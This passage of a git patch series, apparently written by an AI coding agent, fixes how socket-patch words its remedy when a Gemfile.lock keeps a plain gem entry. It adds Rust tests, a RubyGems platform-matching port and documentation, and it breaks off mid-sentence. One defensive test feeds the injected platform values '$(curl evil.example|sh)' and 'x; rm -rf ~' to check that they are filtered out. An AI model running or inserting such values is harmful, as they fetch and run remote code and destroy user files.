From 2abed77425e16b139cddb305832f803f0425a703 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 27 Nov 2026 01:24:25 +0000 Subject: [PATCH 1/4] Start fix for the gem plain-entry remedy Refs #2284. Empty commit that opens the draft pull request; the fix follows. Assisted-by: Claude Code:claude-fable-5-2 Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_011f9aeScTQvGaMvmNNeLBiM From ea78701d791f7723e4f9cffc231dcd18bd23737b Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 27 Nov 2026 01:32:41 +0000 Subject: [PATCH 2/4] Test the gem plain-entry remedy against PLATFORMS Four unit tests for #2284 that fail on main. A gem locked as a plain entry beside platform gems is refused with a remedy that names only `bundle lock --remove-platform ruby`. Bundler keeps the plain entry for every locked platform that none of the gem's builds serves, so the tests expect the remedy to name those platforms, to leave out a ruby platform the lock does not hold, and to print no platform that is not a plain gem token. Assisted-by: Claude Code:claude-fable-5-2 Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_011f9aeScTQvGaMvmNNeLBiM --- crates/socket-patch-core/src/vendor/gem.rs | 162 +++++++++++++++++++++ 1 file changed, 162 insertions(+) diff --git a/crates/socket-patch-core/src/vendor/gem.rs b/crates/socket-patch-core/src/vendor/gem.rs index bf81f0a35a..a107bd243a 100644 --- a/crates/socket-patch-core/src/vendor/gem.rs +++ b/crates/socket-patch-core/src/vendor/gem.rs @@ -12356,6 +12356,168 @@ mod tests { assert!(err.contains("platform-suffixed"), "{err}"); } + /// The lock Bundler 4 writes for nokogiri 1.19.7 and thruster 0.1.28 + /// (#2284), with `platforms` as its `PLATFORMS` lines. thruster has + /// no build for 32-bit ARM, so Bundler keeps its plain entry for + /// `arm-linux-gnu` and `arm-linux-musl` whether or not `ruby` is + /// locked. `noko_plain` adds nokogiri's plain entry, which Bundler + /// keeps for `ruby` alone. + fn rails_lock(platforms: &[&str], noko_plain: bool) -> String { + let mut specs = String::new(); + if noko_plain { + specs.push_str( + " nokogiri (1.19.7)\n mini_portile2 (~> 2.8.2)\n racc (~> 1.4)\n", + ); + } + for platform in [ + "aarch64-linux-gnu", + "aarch64-linux-musl", + "arm-linux-gnu", + "arm-linux-musl", + "arm64-darwin", + "x86_64-darwin", + "x86_64-linux-gnu", + "x86_64-linux-musl", + ] { + specs.push_str(&format!( + " nokogiri (1.19.7-{platform})\n racc (~> 1.4)\n" + )); + } + specs.push_str(" racc (1.8.1)\n thruster (0.1.28)\n"); + for platform in [ + "aarch64-linux", + "arm64-darwin", + "x86_64-darwin", + "x86_64-linux", + ] { + specs.push_str(&format!(" thruster (0.1.28-{platform})\n")); + } + let platforms: String = platforms.iter().map(|p| format!(" {p}\n")).collect(); + format!( + "GEM\n remote: https://rubygems.org/\n specs:\n{specs}\nPLATFORMS\n{platforms}\nDEPENDENCIES\n nokogiri (= 1.19.7)\n thruster (= 0.1.28)\n\nBUNDLED WITH\n 4.0.18\n" + ) + } + + const RAILS_PLATFORMS: [&str; 10] = [ + "aarch64-linux", + "aarch64-linux-gnu", + "aarch64-linux-musl", + "arm-linux-gnu", + "arm-linux-musl", + "arm64-darwin", + "ruby", + "x86_64-darwin", + "x86_64-linux-gnu", + "x86_64-linux-musl", + ]; + + /// The plain-entry refusal of `name` in `lock`. + fn plain_entry_detail(lock: &str, name: &str, version: &str) -> String { + let locked = locked_gem(&crate::formats::gem::parse(lock), name, version); + assert!(locked.plain, "{name} must hold a plain entry"); + let (code, detail) = platform_lock_refusal(name, version, &locked, lock) + .expect("a plain entry beside platform gems is refused"); + assert_eq!(code, "platform_gem_unsupported"); + detail + } + + /// #2284: Bundler keeps the plain entry for every locked platform + /// that none of the gem's builds serves, not only for `ruby`. The + /// remedy names each of them, so following it clears the entry. A + /// gem whose builds cover every platform but `ruby` keeps the + /// one-platform remedy. + #[test] + fn the_plain_entry_remedy_names_every_platform_no_build_serves() { + for eol in ["\n", "\r\n"] { + let lock = rails_lock(&RAILS_PLATFORMS, true).replace('\n', eol); + let thruster = plain_entry_detail(&lock, "thruster", "0.1.28"); + assert!( + thruster.contains( + "(`bundle lock --remove-platform arm-linux-gnu arm-linux-musl ruby`)" + ), + "{thruster}" + ); + assert!( + thruster.contains("`arm-linux-gnu`, `arm-linux-musl`, `ruby`"), + "{thruster}" + ); + assert!(thruster.ends_with("to vendor thruster"), "{thruster}"); + let nokogiri = plain_entry_detail(&lock, "nokogiri", "1.19.7"); + assert!( + nokogiri.ends_with( + "Remove the ruby platform from the lock (`bundle lock --remove-platform ruby`) to vendor nokogiri" + ), + "{nokogiri}" + ); + } + } + + /// #2284, after `bundle lock --remove-platform ruby` was followed + /// (and the lock Bundler 4 writes for the project from the start): + /// `ruby` is not a locked platform, so the remedy must not name it. + /// Running that command again fails. + #[test] + fn the_plain_entry_remedy_never_names_a_ruby_platform_the_lock_lacks() { + let without_ruby: Vec<&str> = RAILS_PLATFORMS + .iter() + .copied() + .filter(|p| *p != "ruby") + .collect(); + let lock = rails_lock(&without_ruby, false); + let detail = plain_entry_detail(&lock, "thruster", "0.1.28"); + assert!( + detail.contains("(`bundle lock --remove-platform arm-linux-gnu arm-linux-musl`)"), + "{detail}" + ); + assert!(!detail.contains("--remove-platform ruby"), "{detail}"); + assert!(!detail.contains("Remove the ruby platform"), "{detail}"); + } + + /// When the lock names no platform to point at (every locked + /// platform is served, or the lock has no `PLATFORMS`), the remedy + /// names none: it says what keeps the entry and leaves the + /// platform open. + #[test] + fn the_plain_entry_remedy_names_no_platform_it_cannot_find() { + let served = rails_lock(&["arm64-darwin", "x86_64-linux-gnu"], false); + let no_section = + served.replace("PLATFORMS\n arm64-darwin\n x86_64-linux-gnu\n\n", ""); + assert!(!no_section.contains("PLATFORMS")); + for lock in [served, no_section] { + let detail = plain_entry_detail(&lock, "thruster", "0.1.28"); + assert!( + detail.contains("(`bundle lock --remove-platform `)"), + "{detail}" + ); + assert!(!detail.contains("--remove-platform ruby"), "{detail}"); + } + } + + /// SECURITY: `PLATFORMS` is a committed, tamper-able section, and + /// the remedy is a command the user copies. A platform that is not + /// a plain gem token is never printed. + #[test] + fn the_plain_entry_remedy_prints_no_unsafe_platform() { + let lock = rails_lock( + &[ + "arm-linux-gnu", + "$(curl evil.example|sh)", + "x; rm -rf ~", + "ruby", + ], + false, + ); + let detail = plain_entry_detail(&lock, "thruster", "0.1.28"); + assert!( + detail.contains("(`bundle lock --remove-platform arm-linux-gnu ruby`)"), + "{detail}" + ); + assert!( + !detail.contains("curl") && !detail.contains("rm -rf"), + "{detail}" + ); + } + /// A native gem locked for the ruby platform alone is still refused, /// whatever the service has: bundler would build it from source, and /// never does for a `path:` gem. The service is not asked. From 11fa872ae20e2d8ab977232316e70f61ee3951c2 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 27 Nov 2026 01:52:46 +0000 Subject: [PATCH 3/4] Name the platforms that keep a gem's plain entry Vendored mode refuses a gem the lock holds as a plain entry beside platform gems, and told the user to run `bundle lock --remove-platform ruby`. Bundler keeps the plain entry for every locked platform that none of the gem's platform builds serves, not only for ruby. On the lock Bundler 4 writes for a default Rails 8 app that command leaves thruster and nokogiri as they were, and running it again fails. The refusal now reads the lock's PLATFORMS and names each platform that keeps the entry, with one command that removes them. It names ruby only when the lock holds it, and no platform when the lock shows none. Which build serves which platform is a port of RubyGems' Gem::Platform#=== for Linux, macOS, Windows and Java, checked against a table that RubyGems 3.5.22 produced. A platform the port cannot read, or one that is not a plain gem token, is never printed. Fixes #2284 Assisted-by: Claude Code:claude-fable-5-2 Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_011f9aeScTQvGaMvmNNeLBiM --- crates/socket-patch-cli/CLI_CONTRACT.md | 2 +- .../socket-patch-core/src/formats/gem/mod.rs | 32 ++ .../src/formats/gem/platform.rs | 376 ++++++++++++++++++ crates/socket-patch-core/src/vendor/gem.rs | 36 +- docs/ecosystems.md | 2 +- 5 files changed, 444 insertions(+), 4 deletions(-) create mode 100644 crates/socket-patch-core/src/formats/gem/platform.rs diff --git a/crates/socket-patch-cli/CLI_CONTRACT.md b/crates/socket-patch-cli/CLI_CONTRACT.md index 10b3aecec0..2816338490 100644 --- a/crates/socket-patch-cli/CLI_CONTRACT.md +++ b/crates/socket-patch-cli/CLI_CONTRACT.md @@ -2623,7 +2623,7 @@ command's integration tests check its output. | `vendor_uuid_mismatch` | `skipped` | repair: the manifest's patch uuid moved past the vendored artifact — a re-vendor (`vendor` / `scan --mode vendored`) is pending; repair does not cross patch generations. | | `content_mismatch_overwritten` | `skipped` (warning) | apply (explicit `--allow-patch-conflicts` / `--force`): a file matched NEITHER beforeHash nor afterHash and was overwritten with the full verified patched content. This includes a file the patch adds (empty beforeHash) that already exists with other content. `--strict` turns this case into a `failed` event instead. Agent-mode `get` / `scan --json` carry it as a `(content_mismatch_overwritten) …` `warnings[]` entry (#1004). | | `vendor_lock_checksums_unsupported` / `vendor_stale_lock_checksum` | `failed` | vendor (gem): an ambiguous/platform CHECKSUMS entry, or a v1-wired lock whose stale token blocks the hot path (run `vendor --revert` + re-vendor). | -| `platform_gem_unsupported` | `failed` | vendor / scan / get `--mode vendored` (gem): a precompiled platform gem that cannot be vendored. `Gemfile.lock` pins the gem as platform gems (`nokogiri (1.18.10-x86_64-linux-gnu)`) and also holds the plain ` ()` entry of the `ruby` platform, which no prebuilt tree serves (the detail names it; `bundle lock --remove-platform ruby` drops it); or it pins the gem as platform gems and its `BUNDLED WITH` is absent or names a Bundler older than 2.3, the oldest the vendored layout is verified on (the detail names the version needed; `bundle update --bundler` re-locks); or the installed copy is a platform gem and the lock names no platform for the gem; or the patch record is for one platform's build (`?platform=`). Nothing is written. A locked platform the patch service has no prebuild for is not this failure: see `vendor_prebuilt_platform_pending`. | +| `platform_gem_unsupported` | `failed` | vendor / scan / get `--mode vendored` (gem): a precompiled platform gem that cannot be vendored. `Gemfile.lock` pins the gem as platform gems (`nokogiri (1.18.10-x86_64-linux-gnu)`) and also holds the plain ` ()` entry of the `ruby` platform, which no prebuilt tree serves. Bundler keeps that entry for `ruby` and for every other locked platform that none of the gem's platform builds serves (a gem with no 32-bit ARM build under a lock that names `arm-linux-gnu`). The detail names the plain entry and each such platform under the lock's `PLATFORMS`, with the command that removes them (`bundle lock --remove-platform arm-linux-gnu ruby`); it names `ruby` only when the lock holds it, and `` when the lock shows no such platform; or it pins the gem as platform gems and its `BUNDLED WITH` is absent or names a Bundler older than 2.3, the oldest the vendored layout is verified on (the detail names the version needed; `bundle update --bundler` re-locks); or the installed copy is a platform gem and the lock names no platform for the gem; or the patch record is for one platform's build (`?platform=`). Nothing is written. A locked platform the patch service has no prebuild for is not this failure: see `vendor_prebuilt_platform_pending`. | | `redirect_unattributable` | `skipped` (hosted event) | scan/get `--mode hosted`: the rewriters would pin the patch, but lockfile discovery over the result reads that pin as contested (another lock or requirements file resolves the same version elsewhere, or the pin is not one the package manager consumes), so `vex`, `rollback`, `remove` and `vendor` would refuse it. The candidate is left out of the rewrite, so nothing is written for it; the detail carries discovery's findings. Exit code unchanged. | | `redirect_mirror_unsupported` / `redirect_mirror_url_refused` | `skipped` (hosted event) + `warnings[]` | **Experimental** (patch mirror). scan/get `--mode hosted` with `--patch-mirror-url`: the patch's ecosystem cannot be served through a mirror (`redirect_mirror_unsupported`: Cargo, NuGet; use `--mode vendored`), or its reference could not be moved onto the mirror (`redirect_mirror_url_refused`). Nothing is written for it. See "Patch mirror (experimental)". | | `redirect_mirror_unavailable` | `skipped` (hosted event) + `warnings[]` | **Experimental** (patch mirror). scan/get `--mode hosted` with `--patch-mirror-url`: the mirror did not serve the reference the run asked it for, or could not be reached. That reference is skipped and nothing is written for it. One warning per package, or a single warning about the mirror when it served none of the references it was asked about. | diff --git a/crates/socket-patch-core/src/formats/gem/mod.rs b/crates/socket-patch-core/src/formats/gem/mod.rs index 9cd230b259..9a8060e677 100644 --- a/crates/socket-patch-core/src/formats/gem/mod.rs +++ b/crates/socket-patch-core/src/formats/gem/mod.rs @@ -24,6 +24,7 @@ pub(crate) mod gemspec; pub(crate) mod hosted; pub(crate) mod manifest; pub(crate) mod mirror; +pub(crate) mod platform; pub(crate) mod ruby; use std::collections::{BTreeSet, HashMap, HashSet}; @@ -677,6 +678,26 @@ pub(crate) fn listed_specs(lock: &str) -> HashSet<(&str, &str)> { .collect() } +/// The platforms the Bundler lock `lock` names under `PLATFORMS`, in file +/// order, as written (`ruby` among them when it is locked). Empty for a +/// lock without the section. CRLF is tolerated. +pub(crate) fn locked_platforms(lock: &str) -> Vec<&str> { + let mut platforms = Vec::new(); + let mut in_platforms = false; + for raw in lock.split('\n') { + let line = raw.strip_suffix('\r').unwrap_or(raw); + if line.trim().is_empty() { + continue; + } + if !line.starts_with(' ') { + in_platforms = line.trim_end() == "PLATFORMS"; + } else if in_platforms { + platforms.push(line.trim()); + } + } + platforms +} + /// The plain gem-token charset (letters, digits, `.`, `_`, `-`). The vendor /// backend applies it before embedding coordinates into Ruby source and lock /// line grammar (see the SECURITY note in `crate::vendor::gem`'s @@ -753,6 +774,17 @@ mod tests { /// lines belong to the section they follow; a CRLF lock gives the same /// numbers as its LF spelling, and the last section runs to the last /// line whether or not the file ends with a newline. + #[test] + fn locked_platforms_are_the_lines_of_the_platforms_section() { + let lock = "GEM\n remote: https://rubygems.org/\n specs:\n rack (3.2.6)\n\nPLATFORMS\n arm64-darwin\n ruby\n\nDEPENDENCIES\n rack\n\nBUNDLED WITH\n 2.5.22\n"; + assert_eq!(locked_platforms(lock), ["arm64-darwin", "ruby"]); + assert_eq!( + locked_platforms(&lock.replace('\n', "\r\n")), + ["arm64-darwin", "ruby"] + ); + assert!(locked_platforms("GEM\n specs:\n rack (3.2.6)\n").is_empty()); + } + #[test] fn section_spans_remote_lines_and_dependency_entries() { let lf = "GEM\n remote: https://a.example/\n specs:\n rack (3.1.0)\n\nGEM\n remote: https://b.example/\n specs:\n rails (7.0.0)\n rack\n \n\nPATH\n remote: .\n specs:\n app (0.1.0)\n\nDEPENDENCIES\n app!\n rack\n rack (~> 3.1)\n rails (= 7.0.0)!\n nested (1.0)\n\nBUNDLED WITH\n 2.6.2\n\n"; diff --git a/crates/socket-patch-core/src/formats/gem/platform.rs b/crates/socket-patch-core/src/formats/gem/platform.rs new file mode 100644 index 0000000000..87d924463e --- /dev/null +++ b/crates/socket-patch-core/src/formats/gem/platform.rs @@ -0,0 +1,376 @@ +//! RubyGems platform names (`x86_64-linux-gnu`, `arm64-darwin`), and which +//! locked platform a platform gem serves. +//! +//! Bundler locks one build of a gem per platform under `PLATFORMS`, and +//! keeps the plain `name (version)` entry (the ruby gem) for every locked +//! platform that none of the gem's platform builds serves. Which build +//! serves which platform is RubyGems' `Gem::Platform#===`, with the gem's +//! platform as the receiver and the locked one as the argument. This module +//! ports that match for the operating systems whose names it can read +//! (Linux, macOS, Windows, Java) so a message can name the platforms that +//! keep a plain entry. It is used for wording only: nothing is wired or +//! refused because of it, and a platform it cannot read is never named. + +/// A RubyGems platform, split the way `Gem::Platform.new` splits its name. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct GemPlatform { + cpu: Option, + os: &'static str, + version: Option, +} + +impl GemPlatform { + /// `name` as RubyGems reads it. `None` for `ruby` (no platform at all) + /// and for an operating system this module does not know: the caller + /// cannot tell what such a platform serves. + pub(crate) fn parse(name: &str) -> Option { + if name == "ruby" || name.is_empty() { + return None; + } + let mut parts: Vec = name.split('-').map(str::to_string).collect(); + // `x86_64-linux-musl`: the libc belongs to the OS part. A trailing + // number is a version of its own (`arm64-darwin-23`). + if parts.len() > 2 && !parts.last().is_some_and(|last| ends_with_digit(last)) { + let extra = parts.pop()?; + let last = parts.last_mut()?; + last.push('-'); + last.push_str(&extra); + } + let first = parts.remove(0); + let cpu = match is_ix86(&first) { + true => "x86".to_string(), + false => first, + }; + if parts.len() == 2 && is_number(&parts[1]) { + let os = known_os(&parts[0])?.0; + return Some(GemPlatform { + cpu: Some(cpu), + os, + version: Some(parts[1].clone()), + }); + } + // A lone word is an OS without a CPU (`java`). + let (cpu, os_part) = match parts.first() { + Some(os_part) => (Some(cpu), os_part.clone()), + None => (None, cpu), + }; + let (os, version) = known_os(&os_part)?; + Some(GemPlatform { cpu, os, version }) + } + + /// Whether a gem built for `self` is one Bundler installs on the locked + /// platform `locked`: `Gem::Platform#===`. Not symmetric: on Linux a + /// gem without a libc serves every libc, and a locked platform without + /// one means glibc. + pub(crate) fn serves(&self, locked: &GemPlatform) -> bool { + let universal = |cpu: &Option| cpu.as_deref() == Some("universal"); + if (universal(&self.cpu) || universal(&locked.cpu)) + && self.os.starts_with("mingw") + && locked.os.starts_with("mingw") + { + return true; + } + let any_cpu = |cpu: &Option| cpu.is_none() || universal(cpu); + let cpu = any_cpu(&self.cpu) + || any_cpu(&locked.cpu) + || self.cpu == locked.cpu + || (self.cpu.as_deref() == Some("arm") + && locked.cpu.as_deref().is_some_and(|c| c.starts_with("armv"))); + if !cpu || self.os != locked.os { + return false; + } + if self.version == locked.version { + return true; + } + if self.os != "linux" { + return self.version.is_none() || locked.version.is_none(); + } + if self.linux_libc() == locked.linux_libc() { + return true; + } + let own = self.version.as_deref().unwrap_or_default(); + locked.version.as_deref().is_some_and(|theirs| { + ["musl", "musleabi", "musleabihf"] + .iter() + .any(|libc| theirs.strip_prefix(libc) == Some(own)) + }) + } + + /// The libc of a Linux platform without the `gnu` prefix and the ABI + /// suffix (`normalized_linux_version`): `None` for glibc. + fn linux_libc(&self) -> Option<&str> { + let version = self.version.as_deref()?; + let version = version.strip_prefix("gnu").unwrap_or(version); + let version = version + .strip_suffix("eabihf") + .or_else(|| version.strip_suffix("eabi")) + .unwrap_or(version); + (!version.is_empty()).then_some(version) + } +} + +/// The locked platforms of `locked` that keep the plain entry of a gem +/// whose platform builds are `builds`: `ruby`, and each one that no build +/// [serves](GemPlatform::serves). In the order of `locked`. A platform this +/// module cannot read is left out, and so is every platform when one of the +/// builds cannot be read (what it serves is not known). +pub(crate) fn unserved_platforms<'a>(locked: &[&'a str], builds: &[String]) -> Vec<&'a str> { + let Some(builds) = builds + .iter() + .map(|build| GemPlatform::parse(build)) + .collect::>>() + else { + return locked.iter().copied().filter(|p| *p == "ruby").collect(); + }; + locked + .iter() + .copied() + .filter(|platform| match GemPlatform::parse(platform) { + Some(parsed) => !builds.iter().any(|build| build.serves(&parsed)), + None => *platform == "ruby", + }) + .collect() +} + +/// The OS and version of the OS part of a platform name, for the operating +/// systems read here. RubyGems matches these names anywhere in the part. +fn known_os(part: &str) -> Option<(&'static str, Option)> { + let after = |word: &str| part.find(word).map(|at| &part[at + word.len()..]); + let digits = |rest: &str| { + let end = rest + .find(|c: char| !c.is_ascii_digit()) + .unwrap_or(rest.len()); + (end > 0).then(|| rest[..end].to_string()) + }; + let word = |rest: &str| { + let rest = rest.strip_prefix('-').unwrap_or(rest); + let end = rest + .find(|c: char| !(c.is_ascii_alphanumeric() || c == '_')) + .unwrap_or(rest.len()); + (end > 0).then(|| rest[..end].to_string()) + }; + if let Some(rest) = after("darwin") { + return Some(("darwin", digits(rest))); + } + if part == "java" || part == "jruby" { + return Some(("java", None)); + } + if let Some(rest) = after("linux") { + return Some(("linux", word(rest))); + } + if part.contains("mingw32") { + return Some(("mingw32", None)); + } + if let Some(rest) = after("mingw") { + return Some(("mingw", word(rest))); + } + None +} + +/// `i386` … `i686`, which RubyGems reads as `x86`. +fn is_ix86(cpu: &str) -> bool { + let bytes = cpu.as_bytes(); + bytes.len() == 4 && bytes[0] == b'i' && bytes[1].is_ascii_digit() && &bytes[2..] == b"86" +} + +fn ends_with_digit(part: &str) -> bool { + part.chars().last().is_some_and(|c| c.is_ascii_digit()) +} + +/// `23` or `23.1`. +fn is_number(part: &str) -> bool { + let mut halves = part.splitn(2, '.'); + let whole = |half: Option<&str>| { + half.is_some_and(|h| !h.is_empty() && h.bytes().all(|b| b.is_ascii_digit())) + }; + let first = whole(halves.next()); + match halves.next() { + None => first, + fraction => first && whole(fraction), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + /// What `Gem::Platform.new(gem) === Gem::Platform.new(locked)` answers + /// in RubyGems 3.5.22, for every pair of these names: each row is a + /// gem platform and the locked platforms it serves. + const RUBYGEMS_SERVES: &[(&str, &[&str])] = &[ + ( + "aarch64-linux", + &["aarch64-linux", "aarch64-linux-gnu", "aarch64-linux-musl"], + ), + ( + "x86_64-linux", + &["x86_64-linux", "x86_64-linux-gnu", "x86_64-linux-musl"], + ), + ("x86_64-linux-gnu", &["x86_64-linux", "x86_64-linux-gnu"]), + ("x86_64-linux-musl", &["x86_64-linux-musl"]), + ("aarch64-linux-gnu", &["aarch64-linux", "aarch64-linux-gnu"]), + ("aarch64-linux-musl", &["aarch64-linux-musl"]), + ("arm-linux-gnu", &["arm-linux-gnu", "arm-linux-gnueabihf"]), + ( + "arm-linux-musl", + &["arm-linux-musl", "arm-linux-musleabihf"], + ), + ( + "arm64-darwin", + &["arm64-darwin", "universal-darwin", "arm64-darwin-23"], + ), + ("x86_64-darwin", &["x86_64-darwin", "universal-darwin"]), + ( + "universal-darwin", + &[ + "arm64-darwin", + "x86_64-darwin", + "universal-darwin", + "arm64-darwin-23", + ], + ), + ("x64-mingw-ucrt", &["x64-mingw-ucrt", "universal-mingw32"]), + ("x64-mingw32", &["x64-mingw32", "universal-mingw32"]), + ("x86-mingw32", &["x86-mingw32", "universal-mingw32"]), + ("java", &["java"]), + ( + "arm-linux-gnueabihf", + &["arm-linux-gnu", "arm-linux-gnueabihf"], + ), + ( + "arm-linux-musleabihf", + &["arm-linux-musl", "arm-linux-musleabihf"], + ), + ("x86-linux-gnu", &["x86-linux-gnu", "i686-linux"]), + ("i686-linux", &["x86-linux-gnu", "i686-linux"]), + ( + "arm64-darwin-23", + &["arm64-darwin", "universal-darwin", "arm64-darwin-23"], + ), + ( + "universal-mingw32", + &[ + "x64-mingw-ucrt", + "x64-mingw32", + "x86-mingw32", + "universal-mingw32", + ], + ), + ]; + + #[test] + fn serves_agrees_with_rubygems_on_every_pair() { + for (gem, served) in RUBYGEMS_SERVES { + let build = GemPlatform::parse(gem).unwrap_or_else(|| panic!("{gem} must parse")); + for (locked, _) in RUBYGEMS_SERVES { + let platform = GemPlatform::parse(locked).unwrap(); + assert_eq!( + build.serves(&platform), + served.contains(locked), + "a {gem} gem on the locked platform {locked}" + ); + } + } + } + + #[test] + fn names_split_the_way_rubygems_splits_them() { + let split = |name: &str| { + let p = GemPlatform::parse(name).unwrap(); + (p.cpu, p.os, p.version) + }; + let some = |s: &str| Some(s.to_string()); + assert_eq!( + split("arm-linux-gnueabihf"), + (some("arm"), "linux", some("gnueabihf")) + ); + assert_eq!( + split("x64-mingw-ucrt"), + (some("x64"), "mingw", some("ucrt")) + ); + assert_eq!(split("x86-mingw32"), (some("x86"), "mingw32", None)); + assert_eq!(split("java"), (None, "java", None)); + assert_eq!( + split("universal-darwin"), + (some("universal"), "darwin", None) + ); + assert_eq!( + split("arm64-darwin-23"), + (some("arm64"), "darwin", some("23")) + ); + assert_eq!( + split("x86_64-darwin22"), + (some("x86_64"), "darwin", some("22")) + ); + assert_eq!(split("i686-linux"), (some("x86"), "linux", None)); + } + + #[test] + fn ruby_and_unknown_systems_are_not_read() { + for name in [ + "ruby", + "", + "x86_64-freebsd14", + "wasm32-wasi", + "x64-mswin64_140", + ] { + assert_eq!(GemPlatform::parse(name), None, "{name}"); + } + } + + /// The lock of #2284: thruster ships no 32-bit ARM build, nokogiri + /// ships one for every platform of the lock. + #[test] + fn unserved_platforms_are_the_ones_no_build_serves() { + let locked = [ + "aarch64-linux", + "aarch64-linux-gnu", + "aarch64-linux-musl", + "arm-linux-gnu", + "arm-linux-musl", + "arm64-darwin", + "ruby", + "x86_64-darwin", + "x86_64-linux-gnu", + "x86_64-linux-musl", + ]; + let builds = |names: &[&str]| names.iter().map(|n| n.to_string()).collect::>(); + let thruster = builds(&[ + "aarch64-linux", + "arm64-darwin", + "x86_64-darwin", + "x86_64-linux", + ]); + assert_eq!( + unserved_platforms(&locked, &thruster), + ["arm-linux-gnu", "arm-linux-musl", "ruby"] + ); + let nokogiri = builds(&[ + "aarch64-linux-gnu", + "aarch64-linux-musl", + "arm-linux-gnu", + "arm-linux-musl", + "arm64-darwin", + "x86_64-darwin", + "x86_64-linux-gnu", + "x86_64-linux-musl", + ]); + assert_eq!(unserved_platforms(&locked, &nokogiri), ["ruby"]); + } + + /// What cannot be read is never named: a locked platform of an unknown + /// system, and every platform when a build is of one. + #[test] + fn unreadable_platforms_are_never_named() { + let builds = vec!["x86_64-linux".to_string()]; + assert_eq!( + unserved_platforms(&["x86_64-freebsd14", "arm64-darwin", "ruby"], &builds), + ["arm64-darwin", "ruby"] + ); + let odd = vec!["x86_64-linux".to_string(), "x86_64-freebsd14".to_string()]; + assert_eq!( + unserved_platforms(&["arm64-darwin", "ruby", "x86_64-freebsd14"], &odd), + ["ruby"] + ); + } +} diff --git a/crates/socket-patch-core/src/vendor/gem.rs b/crates/socket-patch-core/src/vendor/gem.rs index a107bd243a..91b2e5fe3a 100644 --- a/crates/socket-patch-core/src/vendor/gem.rs +++ b/crates/socket-patch-core/src/vendor/gem.rs @@ -783,8 +783,9 @@ fn platform_lock_refusal( return Some(( "platform_gem_unsupported", format!( - "{GEMFILE_LOCK} locks `{name} ({version})` (the ruby platform) beside the platform gems {}: a vendored directory of prebuilt platform gems has nothing for the ruby platform, and bundler never builds a `path:` gem's extensions. Remove the ruby platform from the lock (`bundle lock --remove-platform ruby`) to vendor {name}", - entries.join(", ") + "{GEMFILE_LOCK} locks `{name} ({version})` (the ruby platform) beside the platform gems {}: a vendored directory of prebuilt platform gems has nothing for the ruby platform, and bundler never builds a `path:` gem's extensions. {} to vendor {name}", + entries.join(", "), + plain_entry_remedy(&locked.platforms, lock_text) ), )); } @@ -809,6 +810,37 @@ fn platform_lock_refusal( )) } +/// How to drop the plain `name (version)` entry of a gem whose platform +/// builds are `builds` from the lock `lock_text` (#2284). Bundler keeps +/// that entry for `ruby` and for every other locked platform that none of +/// the builds serves, so `bundle lock --remove-platform ruby` alone clears +/// it only when `ruby` is the one such platform. The remedy names each of +/// them, and none when the lock shows none (no `PLATFORMS`, or a platform +/// [`crate::formats::gem::platform`] cannot read). +/// +/// SECURITY: `PLATFORMS` is a committed, tamper-able section and the +/// remedy is a command the user copies, so only a platform in the plain +/// gem-token charset is printed. +fn plain_entry_remedy(builds: &[String], lock_text: &str) -> String { + let locked: Vec<&str> = crate::formats::gem::locked_platforms(lock_text) + .into_iter() + .filter(|platform| is_platform_dir_name(platform)) + .collect(); + let kept_for = crate::formats::gem::platform::unserved_platforms(&locked, builds); + match kept_for.as_slice() { + [] => "Bundler keeps that entry for a locked platform that none of those builds serves. Remove that platform from the lock (`bundle lock --remove-platform `)".to_string(), + ["ruby"] => "Remove the ruby platform from the lock (`bundle lock --remove-platform ruby`)".to_string(), + platforms => { + let named: Vec = platforms.iter().map(|p| format!("`{p}`")).collect(); + format!( + "Bundler keeps that entry for each locked platform that none of those builds serves: {}. Remove each of them from the lock, if the project is not installed there (`bundle lock --remove-platform {}`),", + named.join(", "), + platforms.join(" ") + ) + } + } +} + /// The [`platform_lock_refusal`]s of [`gem_lock_refusals`]. pub async fn gem_platform_lock_refusals( project_root: &Path, diff --git a/docs/ecosystems.md b/docs/ecosystems.md index 14dfbf8b6e..641d8fbf3f 100644 --- a/docs/ecosystems.md +++ b/docs/ecosystems.md @@ -5101,7 +5101,7 @@ How each mode gets the patched code running: | Mode | What happens | |---|---| | Hosted | Bundler installs the patched `.gem` from the patch registry, and RubyGems compiles it like any registry gem. A gem the lock pins as precompiled platform gems (`x86_64-linux-gnu`) is installed from the patched platform gem the registry serves for that platform, with nothing to compile; it is skipped with `redirect_gem_platform_unsupported` only while the patch has no patched build for one of the locked platforms. | -| Vendored | A gem `Gemfile.lock` pins as precompiled platform gems (one entry per platform, such as `nokogiri (1.18.10-x86_64-linux-gnu)`) is vendored from prebuilt patched platform gems. The patch service builds one for each platform, and the vendored directory holds each of them unpacked (`-//`), so Bundler loads the one for the platform it runs on and builds nothing. Every platform in the lock needs one. While the patch service has none for one of them the gem is skipped with `vendor_prebuilt_platform_pending`, which names the platforms that have none: the run does not fail, nothing is written, a patch that is already vendored stays in place, and a later run vendors the gem once every platform has one. A lock that also holds the plain `nokogiri (1.18.10)` entry of the `ruby` platform is refused with `platform_gem_unsupported`, and so is a lock written by a Bundler older than 2.3 (its `BUNDLED WITH`), the oldest version the layout is verified on. The vendored directory carries its own `.gitignore` and `.gitattributes`, so a project rule such as `*.so` or a Git LFS filter does not keep the prebuilt binaries out of the commit or change their bytes. Bundler cannot add a platform the vendored directory has no gem for: to add one later, revert the gem (`vendor --revert`), run `bundle lock --add-platform ` and vendor again. A gem with a native extension that is locked for the `ruby` platform alone is refused (`native_extensions_unsupported`, or `platform_gem_unsupported` when the installed copy is a precompiled one): Bundler builds no extensions for path-sourced gems. Use hosted or agent mode for that gem. | +| Vendored | A gem `Gemfile.lock` pins as precompiled platform gems (one entry per platform, such as `nokogiri (1.18.10-x86_64-linux-gnu)`) is vendored from prebuilt patched platform gems. The patch service builds one for each platform, and the vendored directory holds each of them unpacked (`-//`), so Bundler loads the one for the platform it runs on and builds nothing. Every platform in the lock needs one. While the patch service has none for one of them the gem is skipped with `vendor_prebuilt_platform_pending`, which names the platforms that have none: the run does not fail, nothing is written, a patch that is already vendored stays in place, and a later run vendors the gem once every platform has one. A lock that also holds the plain `nokogiri (1.18.10)` entry of the `ruby` platform is refused with `platform_gem_unsupported`. Bundler 